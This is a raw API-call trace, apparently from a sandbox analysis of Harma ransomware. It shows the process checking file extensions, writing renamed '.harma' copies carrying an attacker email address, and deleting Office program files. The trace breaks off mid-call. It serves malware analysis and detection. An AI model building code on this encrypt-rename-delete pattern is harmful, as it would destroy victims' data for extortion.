lstrlenW (lpString=".docx") returned 5 [0170.888] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0170.888] lstrlenW (lpString=".pdf") returned 4 [0170.888] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.888] lstrlenW (lpString=".xls") returned 4 [0170.888] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.888] lstrlenW (lpString=".xlsx") returned 5 [0170.888] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0170.888] lstrlenW (lpString=".ppt") returned 4 [0170.888] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.889] lstrlenW (lpString=".zip") returned 4 [0170.889] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.889] lstrlenW (lpString=".rar") returned 4 [0170.889] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.889] lstrlenW (lpString=".bz2") returned 4 [0170.889] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.889] lstrlenW (lpString=".7z") returned 3 [0170.889] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.889] lstrlenW (lpString=".dbf") returned 4 [0170.889] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.889] lstrlenW (lpString=".1cd") returned 4 [0170.889] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.889] lstrlenW (lpString=".jpg") returned 4 [0170.889] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.889] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.889] lstrlenW (lpString="DRILLDWN.DLL") returned 12 [0170.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.891] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1757048) returned 1 [0170.891] CloseHandle (hObject=0x2e8) returned 1 [0170.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll")) returned 0x20 [0170.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0170.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0170.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0170.891] lstrlenW (lpString=".doc") returned 4 [0170.891] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.891] lstrlenW (lpString=".docx") returned 5 [0170.891] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0170.891] lstrlenW (lpString=".pdf") returned 4 [0170.892] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.892] lstrlenW (lpString=".xls") returned 4 [0170.892] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.892] lstrlenW (lpString=".xlsx") returned 5 [0170.892] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0170.892] lstrlenW (lpString=".ppt") returned 4 [0170.892] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0170.892] lstrlenW (lpString=".zip") returned 4 [0170.892] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.892] lstrlenW (lpString=".rar") returned 4 [0170.892] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.892] lstrlenW (lpString=".bz2") returned 4 [0170.892] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.892] lstrlenW (lpString=".7z") returned 3 [0170.892] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL") returned 55 [0170.892] lstrlenW (lpString=".dbf") returned 4 [0170.892] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0171.074] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.074] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.075] GetLastError () returned 0x0 [0171.075] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x4ac, lpOverlapped=0x0) returned 1 [0171.148] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0171.149] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.149] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0171.149] SetEndOfFile (hFile=0x2e8) returned 1 [0171.149] CloseHandle (hObject=0x2e8) returned 1 [0171.149] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.149] SetEndOfFile (hFile=0x348) returned 1 [0171.151] CloseHandle (hObject=0x348) returned 1 [0171.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 1 [0171.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.217] lstrlenW (lpString=".doc") returned 4 [0171.217] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString=".docx") returned 5 [0171.217] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0171.217] lstrlenW (lpString=".pdf") returned 4 [0171.217] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString=".xls") returned 4 [0171.217] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString=".xlsx") returned 5 [0171.217] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0171.217] lstrlenW (lpString=".ppt") returned 4 [0171.217] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.217] lstrlenW (lpString=".zip") returned 4 [0171.217] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString=".rar") returned 4 [0171.217] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString=".bz2") returned 4 [0171.217] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString=".7z") returned 3 [0171.217] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0171.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.217] lstrlenW (lpString=".dbf") returned 4 [0171.217] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.217] lstrlenW (lpString=".1cd") returned 4 [0171.217] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.217] lstrlenW (lpString=".jpg") returned 4 [0171.217] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0171.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.217] lstrlenW (lpString=".doc") returned 4 [0171.218] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString=".docx") returned 5 [0171.218] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0171.218] lstrlenW (lpString=".pdf") returned 4 [0171.218] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString=".xls") returned 4 [0171.218] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString=".xlsx") returned 5 [0171.218] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0171.218] lstrlenW (lpString=".ppt") returned 4 [0171.218] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.218] lstrlenW (lpString=".zip") returned 4 [0171.218] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString=".rar") returned 4 [0171.218] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString=".bz2") returned 4 [0171.218] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString=".7z") returned 3 [0171.218] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0171.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.218] lstrlenW (lpString=".dbf") returned 4 [0171.218] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.218] lstrlenW (lpString=".1cd") returned 4 [0171.218] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0171.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0171.218] lstrlenW (lpString=".jpg") returned 4 [0171.218] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0171.219] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.219] lstrlenW (lpString="ACTIVITL.ICO") returned 12 [0171.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0171.462] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1078) returned 1 [0171.462] CloseHandle (hObject=0x3a4) returned 1 [0171.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 0x20 [0171.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.567] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.567] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.605] GetLastError () returned 0x0 [0171.605] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x436, lpOverlapped=0x0) returned 1 [0171.703] WriteFile (in: hFile=0x33c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x440, lpOverlapped=0x0) returned 1 [0171.704] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.704] WriteFile (in: hFile=0x33c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.704] SetEndOfFile (hFile=0x33c) returned 1 [0171.705] CloseHandle (hObject=0x33c) returned 1 [0171.705] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.705] SetEndOfFile (hFile=0x360) returned 1 [0171.707] CloseHandle (hObject=0x360) returned 1 [0171.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 1 [0171.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.708] lstrlenW (lpString=".doc") returned 4 [0171.708] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.708] lstrlenW (lpString=".docx") returned 5 [0171.708] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0171.708] lstrlenW (lpString=".pdf") returned 4 [0171.708] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.708] lstrlenW (lpString=".xls") returned 4 [0171.708] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.708] lstrlenW (lpString=".xlsx") returned 5 [0171.708] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0171.708] lstrlenW (lpString=".ppt") returned 4 [0171.708] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.708] lstrlenW (lpString=".zip") returned 4 [0171.708] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.708] lstrlenW (lpString=".rar") returned 4 [0171.708] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.709] lstrlenW (lpString=".bz2") returned 4 [0171.709] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.709] lstrlenW (lpString=".7z") returned 3 [0171.709] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.709] lstrlenW (lpString=".dbf") returned 4 [0171.709] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.709] lstrlenW (lpString=".1cd") returned 4 [0171.709] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.709] lstrlenW (lpString=".jpg") returned 4 [0171.709] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.709] lstrlenW (lpString=".doc") returned 4 [0171.709] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.709] lstrlenW (lpString=".docx") returned 5 [0171.709] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0171.709] lstrlenW (lpString=".pdf") returned 4 [0171.709] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.709] lstrlenW (lpString=".xls") returned 4 [0171.709] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.709] lstrlenW (lpString=".xlsx") returned 5 [0171.709] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0171.710] lstrlenW (lpString=".ppt") returned 4 [0171.710] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.710] lstrlenW (lpString=".zip") returned 4 [0171.710] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.710] lstrlenW (lpString=".rar") returned 4 [0171.710] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.710] lstrlenW (lpString=".bz2") returned 4 [0171.710] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.710] lstrlenW (lpString=".7z") returned 3 [0171.710] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.710] lstrlenW (lpString=".dbf") returned 4 [0171.710] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0171.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.710] lstrlenW (lpString=".1cd") returned 4 [0171.710] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0171.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0171.710] lstrlenW (lpString=".jpg") returned 4 [0171.710] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0171.711] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.711] lstrlenW (lpString="CNFNOT.ICO") returned 10 [0171.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.711] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1078) returned 1 [0171.711] CloseHandle (hObject=0x360) returned 1 [0171.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 0x20 [0171.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.712] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.713] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.713] GetLastError () returned 0x0 [0171.713] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x436, lpOverlapped=0x0) returned 1 [0171.737] WriteFile (in: hFile=0x33c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x440, lpOverlapped=0x0) returned 1 [0171.738] ReadFile (in: hFile=0x360, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.738] WriteFile (in: hFile=0x33c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0171.738] SetEndOfFile (hFile=0x33c) returned 1 [0171.738] CloseHandle (hObject=0x33c) returned 1 [0171.738] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.738] SetEndOfFile (hFile=0x360) returned 1 [0171.740] CloseHandle (hObject=0x360) returned 1 [0171.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 1 [0171.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.742] lstrlenW (lpString=".doc") returned 4 [0171.742] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0171.742] lstrlenW (lpString=".docx") returned 5 [0171.742] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0171.742] lstrlenW (lpString=".pdf") returned 4 [0171.742] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0171.742] lstrlenW (lpString=".xls") returned 4 [0171.742] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0171.742] lstrlenW (lpString=".xlsx") returned 5 [0171.742] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0171.742] lstrlenW (lpString=".ppt") returned 4 [0171.742] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0171.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.742] lstrlenW (lpString=".zip") returned 4 [0171.742] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0171.742] lstrlenW (lpString=".rar") returned 4 [0171.742] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0171.742] lstrlenW (lpString=".bz2") returned 4 [0171.742] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0171.742] lstrlenW (lpString=".7z") returned 3 [0171.742] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0171.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0171.743] lstrlenW (lpString=".dbf") returned 4 [0171.743] lstrcmpiW (lpString1=".dbf", 